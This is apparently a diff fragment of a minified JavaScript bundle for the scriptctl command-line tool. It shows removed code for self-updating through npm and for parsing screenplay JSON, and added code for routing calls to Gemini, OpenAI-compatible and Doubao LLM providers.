- `),data:{checks:U}},G]}import{spawn as n5}from"node:child_process";var pa="@lingjingai/scriptctl",o5=`${pa}@latest`,tp="npm";function i5(){return Hi()}function r5(e){let t=/^(\d+)\.(\d+)\.\d+/.exec(e);return t?`${pa}@~${t[1]}.${t[2]}.0`:null}function s5(e){return["install","-g",e]}function a5(e,t){return[e,...t].join(" ")}function c5(e,t){return e.split(/\r?\n/).map(o=>o.trim()).filter(o=>o.length>0).slice(-t)}function d5(e,t){return new Promise(n=>{let o=n5(e,[...t],{stdio:["ignore","pipe","pipe"]}),i=[],r=[];o.stdout.setEncoding("utf-8"),o.stderr.setEncoding("utf-8"),o.stdout.on("data",s=>i.push(s)),o.stderr.on("data",s=>r.push(s)),o.once("error",s=>{n({exitCode:null,signal:null,stdout:i.join(""),stderr:r.join(""),error:s})}),o.once("close",(s,c)=>{n({exitCode:s,signal:c,stdout:i.join(""),stderr:r.join("")})})})}async function om(e,t=d5,n=i5){let o=!!e.patch,i=n(),r=o?r5(i):o5;if(!r)throw new S(`Cannot compute a patch update range from version ${i}.`,{exitCode:X,errorCode:"UPDATE_VERSION_INVALID",hint:"Run `scriptctl update` without --patch to install the latest version.",data:{version:i}});let s=[...s5(r)],c=a5(tp,s),a={package:pa,package_spec:r,command:tp,args:s,command_line:c};if(e.dry_run)return[{text:[`package: ${pa}`,`command: ${c}`,"dry-run: no update performed"].join(`
166
- `),data:{op:"update",changed:!1,update:a}},G];let d=await t(tp,s);if(d.error)throw new S(`Failed to start npm: ${d.error.message}`,{exitCode:X,errorCode:"UPDATE_SPAWN_FAILED",hint:`Run '${c}' after fixing the npm installation.`,data:{update:a,cause:d.error.message}});if(d.exitCode!==G){let f=[`exit: ${d.exitCode===null?`signal ${d.signal??"unknown"}`:String(d.exitCode)}`,...c5(d.stderr,5).map(u=>`stderr: ${u}`)];throw new S("npm could not update scriptctl.",{exitCode:X,errorCode:"UPDATE_COMMAND_FAILED",hint:`Run '${c}' after resolving the npm error.`,data:{update:a,actual:f}})}let p=n(),l=p!==i;return[{text:l?`Updated ${i} \u2192 ${p}.`:`Already up to date (${p}).`,data:{op:"update",changed:l,status:l?"updated":"already_latest",previous_version:i,version:p}},G]}function im(e,t){e.command("doctor").description("Check configuration and runtime dependencies").option("--llm-config <path>","LLM configuration file").action(H(nm,t)),e.command("update").description("Update scriptctl to the latest release").option("-n, --dry-run","Show the update without installing").option("--patch","Allow a patch-level update").action(H(om,t));let n=e.command("changelog [version]").description("Show release notes").option("--from <version>","Start version").option("--to <version>","End version").option("--unreleased","Show unreleased changes").action(H(Uf,t));Me(n,["Release version"])}import{Option as US}from"commander";import*as fi from"node:fs";import*as va from"node:path";import{fileURLToPath as wS,pathToFileURL as _S}from"node:url";import*as rt from"node:fs";import*as it from"node:path";import{createHash as jm}from"node:crypto";import{z as ot}from"zod";import*as Mo from"node:fs";var rm=null,p5=0;function Q(e,t){rm&&rm.push({fn:e,note:t,ms:Math.round((performance.now()-p5)*100)/100})}var l5=[["actor","actors","actor"],["location","locations","location"],["prop","props","prop"]];function Ro(e){return Array.isArray(e)?e:[]}function ke(e){return typeof e=="string"?e:""}function qn(e,t,n,o){if(t){if(e.has(t)&&e.get(t)!==n){o.add(t);return}e.set(t,n)}}function op(e){return Lo(JSON.parse(Mo.readFileSync(e,"utf8")),e)}function Lo(e,t=""){let n=e?.version;if(n!==3&&n!==4)throw new Error(`Unsupported script.version: ${JSON.stringify(n)} (expected 3 or 4)`);let o={version:n,path:t,raw:e,episodes:[],assets:[],byId:new Map,eps:new Map,scenes:new Map,actions:new Map};for(let[a,d,p]of l5)for(let l of Ro(e[d])){let f={id:ke(l[`${p}_id`]),kind:a,name:ke(l[`${p}_name`]),aliases:Ro(l.aliases).map(ke).filter(Boolean),importance:ke(l.importance),desc:ke(l.description),states:Ro(l.states).map(u=>({id:ke(u.state_id),name:ke(u.state_name),desc:ke(u.description)})),raw:l,label:""};o.assets.push(f),o.byId.set(f.id,f)}let i=new Map;for(let a of o.assets)for(let d of[a.name,...a.aliases])i.set(d,(i.get(d)??0)+1);for(let a of o.assets)a.label=[a.name,...a.aliases].filter(d=>i.get(d)===1).sort((d,p)=>d.length-p.length)[0]??a.name;let r=new Set,s=0,c=0;Ro(e.episodes).forEach((a,d)=>{let p={anchor:String(d+1),id:ke(a.episode_id),no:d+1,title:ke(a.title)||void 0,synopsis:ke(a.synopsis)||void 0,scenes:[],raw:a};Ro(a.scenes).forEach((l,f)=>{s++;let u={anchor:n===4?ke(l.scene_id):`${d+1}-${f+1}`,id:ke(l.scene_id),no:f+1,gno:s,env:l.environment??{},location:np(l.location,"location_id"),actors:Ro(l.actors).map(y=>np(y,"actor_id")).filter(Boolean),props:Ro(l.props).map(y=>np(y,"prop_id")).filter(Boolean),actions:[],raw:l,ep:p};Ro(l.actions).forEach((y,m)=>{c++;let g={anchor:n===4?ke(y.action_id):`${d+1}-${f+1}-${m+1}`,no:m+1,gno:c,type:ke(y.type)||"action",content:ke(y.content),speaker:u5(y.speaker),paren:typeof y.parenthetical=="string"?y.parenthetical:typeof y.emotion=="string"?y.emotion:void 0,ts:ke(y.extend?.timestamp)||void 0,raw:y,scene:u};u.actions.push(g),qn(o.actions,g.anchor,g,r),qn(o.actions,`${d+1}-${f+1}-${m+1}`,g,r),n===3&&qn(o.actions,`${p.id}/${u.id}#${m}`,g,r)}),p.scenes.push(u),qn(o.scenes,u.anchor,u,r),qn(o.scenes,`${d+1}-${f+1}`,u,r),qn(o.scenes,`${p.id}/${u.id}`,u,r),qn(o.scenes,u.id,u,r)}),o.episodes.push(p),qn(o.eps,String(d+1),p,r),qn(o.eps,p.id,p,r)});for(let a of r)o.actions.delete(a),o.scenes.delete(a),o.eps.delete(a);return Q(t?"model.load":"model.parse",`v${n} \xB7 ${o.episodes.length} ep \xB7 ${o.scenes.size} scene keys \xB7 ${o.actions.size} action keys \xB7 ${o.assets.length} assets \xB7 ${r.size} ambiguous keys dropped`),o}function np(e,t){if(!e||typeof e!="object")return null;let n=ke(e[t]);if(!n)return null;let o=Array.isArray(e.state_ids)?e.state_ids.map(ke):e.state_id?[ke(e.state_id)]:[];return{id:n,states:o,raw:e}}function u5(e){if(!(!e||typeof e!="object")){if(e.actor_id)return{id:ke(e.actor_id),state:ke(e.state_id)||void 0};if(e.kind)return{kind:ke(e.kind),label:ke(e.label)||void 0}}}function Te(e,t){let n=t.trim();if(!n)return{t:"script",doc:e};let o=n.indexOf("/");if(o>0&&!e.scenes.has(n)){let p=n.slice(0,o),l=n.slice(o+1),f=e.byId.get(p)??f5(e,p);if(f){let u=f.states.filter(y=>y.id===l||y.name===l);if(u.length===1)return Q("resolve",`"${n}" -> state ${f.id}/${u[0].id} "${u[0].name}"`),{t:"state",asset:f,state:u[0]};throw u.length>1?new Error(`${f.name} has ${u.length} states named "${l}"; address it by state id`):new Error(`${f.name} has no state "${l}" (has: ${f.states.map(y=>`${y.id}(${y.name})`).join(", ")})`)}}let i=e.actions.get(n);if(i)return Q("resolve",`"${n}" -> action map hit -> ${i.anchor}`),{t:"action",action:i};let r=e.scenes.get(n);if(r)return Q("resolve",`"${n}" -> scene map hit -> ${r.anchor}`),{t:"scene",scene:r};let s=e.eps.get(n);if(s)return Q("resolve",`"${n}" -> episode map hit -> ${s.id}`),{t:"ep",ep:s};let c=e.byId.get(n);if(c)return Q("resolve",`"${n}" -> asset id hit -> ${c.name}`),{t:"asset",asset:c};let a=e.assets.filter(p=>p.name===n||p.aliases.includes(n));if(a.length===1)return Q("resolve",`"${n}" -> exact name/alias -> ${a[0].id} ${a[0].name}`),{t:"asset",asset:a[0]};if(a.length>1)throw new Error(`Ambiguous name "${n}": ${a.map(p=>`${p.id}(${p.name})`).join(", ")}`);let d=e.assets.filter(p=>p.name.includes(n)||p.aliases.some(l=>l.includes(n)));if(d.length===1)return Q("resolve",`"${n}" -> substring name match -> ${d[0].id} ${d[0].name}`),{t:"asset",asset:d[0]};throw new Error(`Unknown address "${n}". Use an ordinal (3 / 3-2 / 3-2-5), a canonical ID, or an asset name.`+(d.length?` Did you mean: ${d.slice(0,5).map(p=>p.name).join(", ")}?`:""))}function f5(e,t){let n=e.assets.filter(i=>i.name===t||i.aliases.includes(t));if(n.length===1)return n[0];if(n.length>1)return;let o=e.assets.filter(i=>i.name.includes(t)||i.aliases.some(r=>r.includes(t)));return o.length===1?o[0]:void 0}function di(e,t){return e.byId.get(t)?.label||t}function pi(e,t,n){return e.byId.get(t)?.states.find(i=>i.id===n)?.name||n}function bn(e){return e.episodes.flatMap(t=>t.scenes.flatMap(n=>n.actions))}var m5={ep:"episode",scn:"scene",ac:"action",act:"actor",loc:"location",prp:"prop",st:"state"};function No(e,t){let n=vr(m5[e],t);return t.add(n),Q("newId",`${n} (collision-checked against ${t.size-1} live ids)`),n}function be(e){if(Object.assign(e,Lo(e.raw,e.path)),!e.path){Q("save","skipped: document is not bound to a file");return}sm(e,e.path)}function sm(e,t=e.path){if(!t)throw new Error("commit needs a path: this document is not bound to a file");let n=`${t}.tmp-${process.pid}`;Mo.writeFileSync(n,JSON.stringify(e.raw,null,2)+`
167
- `),Mo.renameSync(n,t),Q("commit",`${Mo.statSync(t).size} bytes -> ${t} (tmp + atomic rename)`)}var g5={system:"\u65C1\u767D",broadcast:"\u5E7F\u64AD",offscreen:"\u753B\u5916",group:"\u7FA4\u58F0"},am="\u5FC3\u58F0";function h5(e,t){if(t.kind)return g5[t.kind]??t.kind;let n=di(e,t.id);return t.state?`${n}\xB7${pi(e,t.id,t.state)}`:n}function qr(e,t,n,o={}){let i=(o.plain?"":t.anchor).padEnd(n),r=o.timestamps?`${t.ts??"[\u65F6\u95F4\u7F3A\u5931]"} `:!o.plain&&t.ts?`${t.ts} `:"",s=(()=>{if(t.type==="transition")return`\u2192 ${t.content}`;if(t.type==="dialogue"||t.type==="inner_thought"){let a=t.speaker?h5(e,t.speaker):"?",d=[t.type==="inner_thought"?am:"",t.paren??""].filter(Boolean);return`${t.speaker?.kind&&t.speaker.label?`${a}\xB7${t.speaker.label}`:a}${d.length?`(${d.join("/")})`:""}\uFF1A${t.content}`}return t.content})(),c=`${i}${i?" ":""}`;return`${o.timestamps?r+c:c+r}${s}`.replace(/\n/g,"\\n")}function ip(e,t){let n=di(e,t.id);return t.states.length===1&&t.states[0]==="default"?n:`${n}(${t.states.map(o=>pi(e,t.id,o)).join("+")})`}function Zi(e,t){let n=[t.env?.space,t.env?.time].filter(Boolean).join("/").toUpperCase(),o=t.location?ip(e,t.location):"\u2014",i=`## ${t.ep.no}-${t.no} ${t.anchor===`${t.ep.no}-${t.no}`?t.id:t.anchor} ${n||"\u2014"} ${o} ${t.actions.length} actions`,r=t.actors.map(a=>ip(e,a)).join(", "),s=t.props.map(a=>ip(e,a)).join(", "),c=[r&&`cast: ${r}`,s&&`props: ${s}`].filter(Boolean).join(" ");return c?`${i}
168
- # ${c}`:i}function rp(e,t,n={}){let o=n.plain?0:Math.max(0,...t.actions.map(i=>i.anchor.length));return Q("formatScene",`${t.anchor}: ${t.actions.length} actions, gutter=${o}`),[Zi(e,t),...t.actions.map(i=>qr(e,i,o,n))].join(`
169
- `)}var y5=/^([A-Za-z][A-Za-z0-9_]*|\d+(?:-\d+){0,2})\s\s+/;function cm(e,t){let n=e.trimEnd();if(!n.trim())return null;let o,i=n.match(y5);i&&(o=i[1],n=n.slice(i[0].length)),n=n.replace(/\\n/g,`
170
- `);let r,s=n.match(/^((?:\d+:)?\d+:\d{2}(?:\.\d{1,3})?)\s/);if(s&&(r=s[1],n=n.slice(s[0].length)),n.startsWith("\u2192"))return{anchor:o,ts:r,type:"transition",content:n.slice(1).trim()};let c=n.indexOf("\uFF1A");if(c>0){let d=n.slice(0,c).match(/^([^()]+)(?:\((.*)\))?$/);if(d&&t(d[1].trim())){let p=(d[2]??"").split("/").map(u=>u.trim()).filter(Boolean),l=p[0]===am,f=(l?p.slice(1):p).join("/");return{anchor:o,ts:r,type:l?"inner_thought":"dialogue",speakerName:d[1].trim(),paren:f||void 0,content:n.slice(c+1).trim()}}}return{anchor:o,ts:r,type:"action",content:n.trim()}}var w5=/^(scn[1-9A-HJ-NP-Za-km-z]{6}|scn_\d+)$/,_5=/^[A-Z.\/]+$/,E5=/^\d+\s+actions?$/,x5={EXT:"exterior",EXTERIOR:"exterior",INT:"interior",INTERIOR:"interior"};function dm(e){let t=e.findIndex(i=>i.startsWith("##"));if(t<0)return{body:e};let n=e[t+1]?.startsWith("#")&&!e[t+1].startsWith("##"),o=e.filter((i,r)=>r!==t&&!(n&&r===t+1));return{head:e[t],meta:n?e[t+1]:void 0,body:o}}function sp(e,t){let n={env:{},cast:[],props:[]},o=e.replace(/^##\s*/,"").split(/\s{2,}/).map(i=>i.trim()).filter(Boolean);for(let i of o)if(!(/^\d+-\d+$/.test(i)||E5.test(i))){if(w5.test(i)){n.anchor=i;continue}if(_5.test(i)&&i!=="\u2014"){let[r,s]=i.split("/");r&&(n.env.space=x5[r]??r.toLowerCase()),s&&(n.env.time=s.toLowerCase());continue}i!=="\u2014"&&n.location===void 0&&(n.location=i)}if(t){let i=t.replace(/^#\s*/,""),r=i.match(/cast:\s*([^]*?)(?:\s\sprops:|$)/),s=i.match(/props:\s*([^]*)$/),c=a=>(a??"").split(",").map(d=>d.trim()).filter(Boolean);n.cast=c(r?.[1]),n.props=c(s?.[1])}return n}function pm(e){let t=e.trim().match(/^(.*?)\s*\(([^)]*)\)$/);return t?{name:t[1].trim(),states:t[2].split("+").map(n=>n.trim()).filter(Boolean)}:{name:e.trim(),states:[]}}function Wi(e,t){throw Object.assign(new Error(e),t)}function cp(e){return e.episodes.flatMap(t=>t.scenes.flatMap(n=>n.actions.map((o,i)=>({address:e.version===4?o.anchor:`${t.id}/${n.id}#${i}`,episodeId:t.id,episodeNo:t.no,timestamp:o.ts}))))}function ap(e){try{return go(e.timestamp??"")}catch(t){if(!(t instanceof et))throw t;return Wi(`Action ${e.address} has an invalid stored timestamp.`,{code:"ACTION_SPAN_TIMESTAMP_INVALID",hint:`Fix it with \`scriptctl edit ${e.address} --ts <time>\` or remove it.`,data:{expected:["valid action.extend.timestamp"],actual:[`${e.address}: ${JSON.stringify(e.timestamp??"")}`]}})}}function lm(e,t){return Wi("Action timestamps run backward within the selected episode.",{code:"ACTION_SPAN_TIMESTAMP_NON_MONOTONIC",hint:"Fix the stored timestamps so they do not move backward in document order, then rerun `span`.",data:{actual:[`${e.address}: ${e.timestamp}`,`${t.address}: ${t.timestamp}`]}})}function dp(e,t){t.length===0&&Wi("The action selection matched nothing.",{code:"ACTION_SPAN_NO_MATCH",hint:"Check the selector with `scriptctl actions` and rerun with `--span`.",data:{actual:["0 matched actions"]}});let n=new Set(t),o=e.filter(y=>n.has(y.address));o.length!==n.size&&Wi("The resolved action selection is inconsistent with the script timeline.",{code:"ACTION_SPAN_SELECTION_INCONSISTENT",data:{expected:[`${n.size} timeline actions`],actual:[`${o.length} timeline actions`]}});let i=new Set(o.map(y=>y.episodeId));i.size!==1&&Wi("An action timestamp span must stay within one episode.",{code:"ACTION_SPAN_CROSSES_EPISODES",hint:"Split the selector into one `span` call per episode.",data:{actual:[...i]}});let r=o[0],s=o[o.length-1];r.timestamp||Wi(`The first selected Action ${r.address} has no timestamp.`,{code:"ACTION_SPAN_START_TIMESTAMP_MISSING",hint:`Set it with \`scriptctl timestamp ${r.address} --set <time>\`, then rerun.`,data:{actual:[r.address]}});let c=ap(r),a=r,d=c,p="";for(let y of o){if(!y.timestamp)continue;let m=ap(y);m.milliseconds<d.milliseconds&&lm(a,y),a=y,d=m,y.address===s.address&&(p=m.canonical)}let l=e.findIndex(y=>y.address===s.address),f,u;for(let y=l+1;y<e.length;y+=1){let m=e[y];if(m.episodeId!==r.episodeId)break;if(!m.timestamp)continue;let g=ap(m);if(g.milliseconds<d.milliseconds&&lm(a,m),g.milliseconds!==d.milliseconds){f=m,u=g;break}}return Q("span",`${r.episodeId} ${c.canonical}..${u?.canonical??"(open)"} over ${o.length} action(s)`),{episode_id:r.episodeId,ep_no:r.episodeNo,start_timestamp:c.canonical,last_selected_timestamp:p,end_timestamp:u?.canonical??"",end_open:u===void 0,end_exclusive:!0,start_action:r.address,last_action:s.address,end_boundary_action:f?.address??"",matched_actions:o.length}}var pp=["episode_id","ep_no","start_timestamp","last_selected_timestamp","end_timestamp","end_open","end_exclusive","start_action","last_action","end_boundary_action","matched_actions"];function lp(e,t){return t.map(n=>{if(e.version===4)return n.anchor;let o=n.scene.actions.indexOf(n);return`${n.scene.ep.id}/${n.scene.id}#${o}`})}function up(e,t,n={}){let o=n.offset??0,i=n.limit??20,r=n.context??3;for(let[f,u,y]of[["offset",o,0],["limit",i,1],["context",r,0]])if(!Number.isSafeInteger(u)||u<y)throw new Error(`${f} must be an integer >= ${y}`);let s=Te(e,t);if(s.t!=="asset"&&s.t!=="state")throw new Error("references requires an asset or asset/state address; use read for episodes/scenes/actions");let c=s.asset,a=s.t==="state"?s.state.id:null,d=[...new Set([c.id,c.name,...c.aliases])].filter(Boolean),p=[];for(let f of e.episodes)for(let u of f.scenes){let y=[...u.location?[u.location]:[],...u.actors,...u.props].filter(m=>m.id===c.id&&(a===null||m.states.includes(a)));y.length&&p.push({kind:"scene_binding",scene:u,matched:y.flatMap(m=>m.states)});for(let m of u.actions)if(m.speaker?.id===c.id&&(a===null||m.speaker.state===a)&&p.push({kind:"speaker",scene:u,action:m,matched:[c.id]}),a===null){let g=d.filter(w=>m.content.includes(w));g.length&&p.push({kind:"text_mention",scene:u,action:m,matched:g})}}let l=o+i;return{asset_id:c.id,state_id:a,total:p.length,next_offset:l<p.length?l:null,items:p.slice(o,l).map(({kind:f,scene:u,action:y,matched:m})=>{let g=y?u.actions.indexOf(y):-1,w=y?u.actions.slice(Math.max(0,g-r),g+r+1):[],h=Math.max(0,...w.map(_=>_.anchor.length));return{kind:f,address:y?.anchor??u.anchor,scene_address:u.anchor,episode:u.ep.no,matched:m,text:[Zi(e,u),...w.map(_=>(_===y?"> ":" ")+qr(e,_,h))].join(`
171
- `)}})}}function fp(e){return[`${e.asset_id}${e.state_id===null?"":"/"+e.state_id} ${e.total} references \xB7 showing ${e.items.length}`,"scene_binding=explicit scene presence; speaker=explicit speaker; text_mention=name/alias mention only (not proof of presence).",...e.items.map(t=>`${t.address} ${t.kind} ep=${t.episode}
156
+ `),{files:{upload:c=>zf({apiKey:e,filePath:c.file,mimeType:c.config?.mimeType??"video/mp4",timeoutMs:t,proxyUrl:s,baseUrl:n}),get:c=>r.files.get(c),delete:c=>r.files.delete(c)},models:{generateContent:c=>r.models.generateContent(c),generateContentStream:c=>r.models.generateContentStream(c)}}}var zr=class{constructor(t,n,o,i){this.provider=t;this.transport=new Qi(t,n,o,i)}provider;transport;prepare(t,n){return this.transport.prepare(t,"application/pdf",this.provider.documentUploadMode??"file-api",n)}generate(t){return this.transport.generateMedia(t)}release(t,n){return this.transport.release(t,n)}};var ia=class extends Qi{generate(t){let n=t.media;if(n.kind==="local-fallback"||n.kind==="local")throw new T("invalid_response","A local fallback video cannot be sent to Gemini.");return this.generateMedia({...t,media:n},{fps:t.fps})}};function Ff(e,t){if(!Fn(e)||!Fn(e.usage))return{};let n=e.usage,o=a=>{let d=typeof a=="number"?a:0;return Number.isFinite(d)?d:0},i=Fn(n.prompt_tokens_details)?n.prompt_tokens_details:{},r=o(n.prompt_tokens),s=o(i.cached_tokens)||o(n.cache_read_input_tokens),c=o(i.cache_creation_tokens)||o(n.cache_creation_input_tokens);return{inputTokens:t?r:r+s+c,outputTokens:o(n.completion_tokens),cachedInputTokens:s,cacheCreationTokens:c}}function Fn(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}function Fx(e){let t=e.trim().replace(/\/+$/,"");return t.endsWith("/chat/completions")?t:t.endsWith("/v1")?`${t}/chat/completions`:`${t}/v1/chat/completions`}function Yf(e){return!Fn(e)||!Array.isArray(e.choices)?null:e.choices.find(Fn)??null}function qf(e){return e&&typeof e.finish_reason=="string"?e.finish_reason:""}function Wf(e){return e&&Fn(e.message)?e.message:null}function Yx(e){let t=Wf(e)?.content;return typeof t=="string"?t.trim():Array.isArray(t)?t.flatMap(n=>Fn(n)&&typeof n.text=="string"?[n.text]:[]).join(`
157
+ `).trim():""}function Zf(e){try{return JSON.parse(e)}catch{throw new T("invalid_response","Provider returned invalid JSON.",{details:[e.slice(0,500)]})}}var ra=class{constructor(t,n,o){this.provider=t;this.model=n;this.apiKey=o;if(!t.baseUrl&&t.protocol!=="google-vertex")throw new T("endpoint","OpenAI-compatible provider endpoint (baseUrl) is not set \u2014 the built-in gateway reads PROJECT_LITELLM_GATEWAY_BASE_URL.");this.url=t.protocol==="google-vertex"?`${Jf()}/v1/projects/${na()}/locations/${jr()}/endpoints/openapi/chat/completions`:t.protocol==="google-gemini"?`${t.baseUrl.trim().replace(/\/+$/,"")}/v1beta/openai/chat/completions`:Fx(t.baseUrl);try{this.host=new URL(this.url).host}catch{this.host=this.url}}provider;model;apiKey;url;host;async post(t,n){let o=await en(this.provider.maxAttempts,async()=>{let i=AbortSignal.timeout(this.provider.timeoutMs),r=n?AbortSignal.any([n,i]):i,s;try{s=await fetch(this.url,{method:"POST",headers:{...this.provider.protocol==="google-vertex"&&this.apiKey?{"x-goog-api-key":this.apiKey}:{authorization:`Bearer ${this.provider.protocol==="google-vertex"?await Bf.getAccessToken():this.apiKey}`},"content-type":"application/json"},body:JSON.stringify(t),signal:r})}catch(a){let d=a instanceof Error?a.message:String(a),p=r.aborted&&!n?.aborted;throw new T(p?"timeout":"request_failed",p?`OpenAI-compatible request timed out reaching ${this.host}.`:`OpenAI-compatible request could not reach ${this.host}: ${d}`,{retryable:!n?.aborted,details:[d.slice(0,500)]})}let c=await s.text();if(!s.ok){let a=s.status===408||s.status===429||s.status>=500,d=s.status===401||s.status===403?"auth":s.status===429?"rate_limited":"request_failed";throw new T(d,`OpenAI-compatible request to ${this.host} failed (status ${s.status}).`,{retryable:a,details:[`status: ${s.status}`,c.slice(0,500)]})}return Zf(c)});return{payload:o.value,attempts:o.attempts,failedUsage:o.failedUsage}}baseBody(t){let n=[];return t.system.trim()&&n.push({role:"system",content:t.system}),n.push({role:"user",content:t.user}),{model:this.provider.protocol==="google-vertex"?`google/${this.model.model.replace(/^google\//,"")}`:this.model.model,messages:n,...t.responseFormat==="json_object"?{response_format:{type:"json_object"}}:{},...this.model.reasoning?{reasoning_effort:this.model.reasoning}:{},...this.model.temperature!==void 0?{temperature:this.model.temperature}:{}}}async generateText(t){let{payload:n,attempts:o,failedUsage:i}=await this.post(this.baseBody(t),t.signal),r=Xt(i,Ff(n,this.provider.protocol==="google-vertex"||this.provider.protocol==="google-gemini"));try{let s=Yf(n),c=qf(s);if(c==="length")throw new T("truncated","Provider output was truncated.");if(c==="content_filter"||c.startsWith("content_filter:"))throw new T("content_filtered",`Provider filtered the response (${c}).`);let a=Yx(s);if(!a)throw new T("empty_response","Provider returned an empty text response.");return{text:a,finishReason:c,attempts:o,usage:r,raw:n}}catch(s){throw s instanceof T&&(s.attempts=o,s.usage=r),s}}async generateTool(t){let{payload:n,attempts:o,failedUsage:i}=await this.post({...this.baseBody(t),tools:[{type:"function",function:{name:t.tool.name,description:t.tool.description,parameters:t.tool.inputSchema}}],tool_choice:{type:"function",function:{name:t.tool.name}},parallel_tool_calls:!1},t.signal),r=Xt(i,Ff(n,this.provider.protocol==="google-vertex"||this.provider.protocol==="google-gemini"));try{let s=Yf(n),c=qf(s);if(c==="length")throw new T("truncated","Provider tool output was truncated.");if(c==="content_filter"||c.startsWith("content_filter:"))throw new T("content_filtered",`Provider filtered the response (${c}).`);let a=Wf(s)?.tool_calls;if(!Array.isArray(a))throw new T("invalid_response","Provider did not return a tool call.");for(let d of a){if(!Fn(d)||!Fn(d.function))continue;let p=d.function;if(!(p.name!==t.tool.name||typeof p.arguments!="string"))return{input:Zf(p.arguments),finishReason:c,attempts:o,usage:r,raw:n}}throw new T("invalid_response","Provider did not return the required tool call.")}catch(s){throw s instanceof T&&(s.attempts=o,s.usage=r),s}}};var qx={lite:{model:"ep-20261029164743-gt8dh",modelEnv:"DOUBAO_LITE_MODEL",baseUrl:"https://ark.cn-beijing.volces.com/api/v3",apiKeyEnv:"ARK_API_KEY",timeoutMs:6e5,maxAttempts:3},turbo:{model:"ep-20261028172514-tlxzc",modelEnv:"DOUBAO_TURBO_MODEL",baseUrl:"https://ark.ap-southeast.bytepluses.com/api/v3",apiKeyEnv:"DOUBAO_TURBO_API_KEY",timeoutMs:6e5,maxAttempts:3}},Wd=["gemini-3.8-flash","gemini-3.7-flash","gemini-3.6-flash"];function Xd(e){return e?.trim().replace(/\/+$/,"")??"anthropic-sdk-default"}function Hr(e,t,n){let o=An[e],i=JSON.stringify({task:e,taskVersion:o.version,protocol:t.protocol,baseUrl:Xd(t.baseUrl),model:n.model,thinkingBudgetTokens:n.thinkingBudgetTokens??null,...o.mode==="video"&&t.videoResponseSchemaField==="responseSchema"?{videoResponseSchemaField:t.videoResponseSchemaField}:{},...o.mode==="document"&&t.documentResponseSchemaField==="responseSchema"?{documentResponseSchemaField:t.documentResponseSchemaField}:{}});return Xf.createHash("sha256").update(i).digest("hex")}function Ge(e,t,n){return new S(e,{exitCode:b,errorCode:"LLM_CONFIG_INVALID",hint:"Fix the selected LLM configuration and run `scriptctl doctor`.",data:{expected:t,actual:n}})}function Fi(e){return new S("The selected LLM provider credential is not configured.",{exitCode:X,errorCode:"LLM_CREDENTIAL_MISSING",hint:"Configure the credential and rerun `scriptctl doctor`.",data:{expected:["credential environment variable referenced by the selected provider"],actual:[`provider: ${e}`,"credential: missing"]}})}function si(e,t){return Ut(Ui(e.failure),{...Ir(e.failure),provider:t.provider,model:t.model,retryable:e.failure.retryable,message:e.message})}function sa(e,t){if(t.length===1)return e;let n=wu(t,"All configured model routes failed.");return new T(e.code,n.message,{retryable:n.retryable,classification:Ui(n),context:Ir(n),modelFailures:t,details:t.map(hn)})}function Zx(e){return["google-gemini","google-vertex"].includes(e.protocol)||/(^|\/)gemini-/i.test(e.model)}function aa(e){let t=e.info.model.slice(0,e.info.model.lastIndexOf("/")+1);return[...new Set([e.info.model,...Wd.map(o=>t+o)])].map(o=>{if(o===e.info.model)return e;let i={...e.modelConfig,model:o};return{...e,modelConfig:i,info:{...e.info,model:o,fingerprint:Hr(e.info.task,e.providerConfig,i)}}})}function vo(e,t){return!t?.aborted&&e instanceof T&&e.code!=="cancelled"}var Qr=class{constructor(t,n={}){this.config=t;this.options=n}config;options;adapters=new Map;videoAdapters=new Map;doubaoAdapters=new Map;resolvedRoutes=new Map;usageLog=[];get configSource(){return this.config.source}resolve(t){let n=this.resolvedRoutes.get(t);if(n)return n;let o=An[t];if(o.mode==="video"&&this.options.videoProvider?.provider==="doubao"){let l=this.resolveDoubao(t,!0);return this.resolvedRoutes.set(t,l),l}let i=this.options.profile??this.config.tasks[t]??o.defaultProfile,r=this.config.models[i];if(!r)throw Ge("The task route references a missing model profile.",[i],[`task: ${t}`]);let s=this.config.providers[r.provider];if(!s)throw Ge("The model profile references a missing provider.",[r.provider],[`profile: ${i}`]);if(s.protocol==="openai-compatible"&&!s.baseUrl)throw Ge("OpenAI-compatible providers require an explicit endpoint \u2014 set the provider's baseUrl, or PROJECT_LITELLM_GATEWAY_BASE_URL for the built-in gateway.",["provider.baseUrl"],[`provider: ${r.provider}`]);if(r.thinkingBudgetTokens!==void 0&&o.mode==="tool")throw Ge("Anthropic thinking cannot be combined with a forced tool call.",["a text task or a profile without thinking"],[`task: ${t}`,`profile: ${i}`]);if(o.mode!=="document"&&r.thinkingBudgetTokens!==void 0&&r.thinkingBudgetTokens>=o.maxOutputTokens)throw Ge("The thinking token budget must be smaller than the task output budget.",[`thinking budget < ${o.maxOutputTokens}`],[`task: ${t}`,`thinking budget: ${r.thinkingBudgetTokens}`]);let c=o.mode==="video"?this.options.videoProvider:void 0,a=c?.baseUrl?{...s,protocol:"google-gemini",baseUrl:Bd(c.baseUrl,"--provider-base-url")}:s,d=c?.model?{...r,model:c.model.trim()}:r;if(c?.model!==void 0&&!d.model)throw Ge("The video provider model cannot be empty.",["non-empty --provider-model"],["model: empty"]);let p={info:{task:t,profile:i,provider:r.provider,protocol:a.protocol,baseUrl:a.baseUrl,model:d.model,fingerprint:Hr(t,a,d),...o.mode==="video"&&a.videoUploadMode?{videoUploadMode:a.videoUploadMode}:{}},providerConfig:a,modelConfig:d};return this.resolvedRoutes.set(t,p),p}route(t){return this.resolve(t).info}routes(){return Vf.map(t=>this.route(t))}emptyUsage(){return{calls:0,succeeded:0,failed:0,reused:0,attempts:0,durationMs:0,inputTokens:0,outputTokens:0,cachedInputTokens:0,cacheCreationTokens:0}}recordReuse(t){let n=new Date().toISOString();this.recordEvent(this.route(t),"reused",n,n,0,{})}usage(){let t=new Map;for(let n of this.usageLog){let o=`${n.task}\0${n.provider}\0${n.protocol}\0${n.model}\0${n.fingerprint}`,i=t.get(o)??{task:n.task,profile:n.profile,provider:n.provider,protocol:n.protocol,baseUrl:n.baseUrl,model:n.model,fingerprint:n.fingerprint,...this.emptyUsage()};n.status==="reused"?i.reused+=1:(i.calls+=1,i[n.status]+=1,i.attempts+=n.attempts,i.durationMs+=n.durationMs,i.inputTokens+=n.inputTokens,i.outputTokens+=n.outputTokens,i.cachedInputTokens+=n.cachedInputTokens,i.cacheCreationTokens+=n.cacheCreationTokens),t.set(o,i)}return[...t.values()]}usageEvents(){return 